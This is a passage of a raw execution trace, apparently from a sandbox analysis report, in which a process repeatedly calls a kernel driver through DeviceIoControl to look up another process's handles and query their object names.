lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.296] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.296] PsAcquireProcessExitSynchronization () returned 0x0 [0068.296] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.296] ObReferenceObjectByHandle (in: Handle=0x1f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00193ffc0, HandleInformation=0x0) returned 0x0 [0068.296] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.296] PsReleaseProcessExitSynchronization () returned 0x2 [0068.296] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.296] ObQueryNameString (in: Object=0xfffff8a00193ffc0, ObjectNameInfo=0xfffffa800398b044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800398b044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.296] ObfDereferenceObject (Object=0xfffff8a00193ffc0) returned 0x1 [0068.296] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.297] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.297] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.297] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.297] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.297] PsAcquireProcessExitSynchronization () returned 0x0 [0068.297] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.297] ObReferenceObjectByHandle (in: Handle=0x200, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001984fc0, HandleInformation=0x0) returned 0x0 [0068.297] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.297] PsReleaseProcessExitSynchronization () returned 0x2 [0068.297] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.297] ObQueryNameString (in: Object=0xfffff8a001984fc0, ObjectNameInfo=0xfffffa800344e7c4, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800344e7c4, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.297] ObfDereferenceObject (Object=0xfffff8a001984fc0) returned 0x1 [0068.297] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.297] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.297] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.297] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.297] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.297] PsAcquireProcessExitSynchronization () returned 0x0 [0068.297] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.297] ObReferenceObjectByHandle (in: Handle=0x20c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0016d4ba0, HandleInformation=0x0) returned 0x0 [0068.298] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.298] PsReleaseProcessExitSynchronization () returned 0x2 [0068.298] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.298] ObQueryNameString (in: Object=0xfffff8a0016d4ba0, ObjectNameInfo=0xfffffa8003955044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003955044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.298] ObfDereferenceObject (Object=0xfffff8a0016d4ba0) returned 0x1 [0068.298] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.298] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.298] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.298] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.298] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.298] PsAcquireProcessExitSynchronization () returned 0x0 [0068.298] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.298] ObReferenceObjectByHandle (in: Handle=0x220, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0016e6060, HandleInformation=0x0) returned 0x0 [0068.298] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.298] PsReleaseProcessExitSynchronization () returned 0x2 [0068.298] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.298] ObQueryNameString (in: Object=0xfffff8a0016e6060, ObjectNameInfo=0xfffffa80038e2044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e2044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.298] ObfDereferenceObject (Object=0xfffff8a0016e6060) returned 0x1 [0068.298] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.298] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.298] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.298] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.298] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.298] PsAcquireProcessExitSynchronization () returned 0x0 [0068.298] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.298] ObReferenceObjectByHandle (in: Handle=0x224, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001504170, HandleInformation=0x0) returned 0x0 [0068.298] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.298] PsReleaseProcessExitSynchronization () returned 0x2 [0068.298] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.298] ObQueryNameString (in: Object=0xfffff8a001504170, ObjectNameInfo=0xfffffa80038f1044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f1044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.298] ObfDereferenceObject (Object=0xfffff8a001504170) returned 0x1 [0068.298] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.298] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.299] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.299] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.299] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.299] PsAcquireProcessExitSynchronization () returned 0x0 [0068.299] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.299] ObReferenceObjectByHandle (in: Handle=0x22c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001a2cd30, HandleInformation=0x0) returned 0x0 [0068.299] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.299] PsReleaseProcessExitSynchronization () returned 0x2 [0068.299] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.299] ObQueryNameString (in: Object=0xfffff8a001a2cd30, ObjectNameInfo=0xfffffa8003964044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003964044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.299] ObfDereferenceObject (Object=0xfffff8a001a2cd30) returned 0x1 [0068.299] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.299] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.299] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.299] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.299] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.299] PsAcquireProcessExitSynchronization () returned 0x0 [0068.299] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.299] ObReferenceObjectByHandle (in: Handle=0x230, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001a5e540, HandleInformation=0x0) returned 0x0 [0068.299] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.299] PsReleaseProcessExitSynchronization () returned 0x2 [0068.299] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.299] ObQueryNameString (in: Object=0xfffff8a001a5e540, ObjectNameInfo=0xfffffa8003965044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003965044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.299] ObfDereferenceObject (Object=0xfffff8a001a5e540) returned 0x1 [0068.299] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.299] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.299] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.299] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.299] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.299] PsAcquireProcessExitSynchronization () returned 0x0 [0068.299] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.299] ObReferenceObjectByHandle (in: Handle=0x240, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001703f70, HandleInformation=0x0) returned 0x0 [0068.300] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.300] PsReleaseProcessExitSynchronization () returned 0x2 [0068.300] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.300] ObQueryNameString (in: Object=0xfffff8a001703f70, ObjectNameInfo=0xfffffa8003966044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003966044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.300] ObfDereferenceObject (Object=0xfffff8a001703f70) returned 0x1 [0068.300] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.300] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.300] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.300] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.300] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.300] PsAcquireProcessExitSynchronization () returned 0x0 [0068.300] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.300] ObReferenceObjectByHandle (in: Handle=0x248, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001b65390, HandleInformation=0x0) returned 0x0 [0068.300] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.300] PsReleaseProcessExitSynchronization () returned 0x2 [0068.300] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.300] ObQueryNameString (in: Object=0xfffff8a001b65390, ObjectNameInfo=0xfffffa8003967044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003967044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.300] ObfDereferenceObject (Object=0xfffff8a001b65390) returned 0x1 [0068.300] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.300] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.300] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.300] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0068.300] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.300] PsAcquireProcessExitSynchronization () returned 0x0 [0068.300] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.300] ObReferenceObjectByHandle (in: Handle=0x24c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800348e200, HandleInformation=0x0) returned 0x0 [0068.300] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.300] PsReleaseProcessExitSynchronization () returned 0x2 [0068.300] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.300] ObQueryNameString (in: Object=0xfffffa800348e200, ObjectNameInfo=0xfffffa8003970044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003970044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.301] ObfDereferenceObject (Object=0xfffffa800348e200) returned 0x2 [0068.301] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.301] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.301] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.301] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.301] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.301] PsAcquireProcessExitSynchronization () returned 0x0 [0068.301] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.301] ObReferenceObjectByHandle (in: Handle=0x250, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001aa6d40, HandleInformation=0x0) returned 0x0 [0068.301] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.301] PsReleaseProcessExitSynchronization () returned 0x2 [0068.301] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.301] ObQueryNameString (in: Object=0xfffff8a001aa6d40, ObjectNameInfo=0xfffffa800396c044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396c044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.301] ObfDereferenceObject (Object=0xfffff8a001aa6d40) returned 0x1 [0068.301] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.301] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.301] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.301] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.301] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.301] PsAcquireProcessExitSynchronization () returned 0x0 [0068.301] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.301] ObReferenceObjectByHandle (in: Handle=0x254, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001aaed80, HandleInformation=0x0) returned 0x0 [0068.301] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.301] PsReleaseProcessExitSynchronization () returned 0x2 [0068.301] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.301] ObQueryNameString (in: Object=0xfffff8a001aaed80, ObjectNameInfo=0xfffffa800396d044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396d044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.301] ObfDereferenceObject (Object=0xfffff8a001aaed80) returned 0x1 [0068.301] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.301] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.302] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.302] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.302] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.302] PsAcquireProcessExitSynchronization () returned 0x0 [0068.302] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.302] ObReferenceObjectByHandle (in: Handle=0x258, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001aae1f0, HandleInformation=0x0) returned 0x0 [0068.302] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.302] PsReleaseProcessExitSynchronization () returned 0x2 [0068.302] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.302] ObQueryNameString (in: Object=0xfffff8a001aae1f0, ObjectNameInfo=0xfffffa800396e044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396e044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.302] ObfDereferenceObject (Object=0xfffff8a001aae1f0) returned 0x1 [0068.302] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.302] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.302] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.302] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.302] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.302] PsAcquireProcessExitSynchronization () returned 0x0 [0068.302] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.302] ObReferenceObjectByHandle (in: Handle=0x260, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001aacfc0, HandleInformation=0x0) returned 0x0 [0068.302] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.302] PsReleaseProcessExitSynchronization () returned 0x2 [0068.302] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.302] ObQueryNameString (in: Object=0xfffff8a001aacfc0, ObjectNameInfo=0xfffffa800396f044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396f044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.302] ObfDereferenceObject (Object=0xfffff8a001aacfc0) returned 0x1 [0068.302] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.302] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.302] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.302] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.302] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.302] PsAcquireProcessExitSynchronization () returned 0x0 [0068.302] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.303] ObReferenceObjectByHandle (in: Handle=0x268, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001aad6f0, HandleInformation=0x0) returned 0x0 [0068.303] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.303] PsReleaseProcessExitSynchronization () returned 0x2 [0068.303] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.303] ObQueryNameString (in: Object=0xfffff8a001aad6f0, ObjectNameInfo=0xfffffa8003971044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003971044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.303] ObfDereferenceObject (Object=0xfffff8a001aad6f0) returned 0x1 [0068.303] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.303] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.303] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.303] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.303] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.303] PsAcquireProcessExitSynchronization () returned 0x0 [0068.303] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.303] 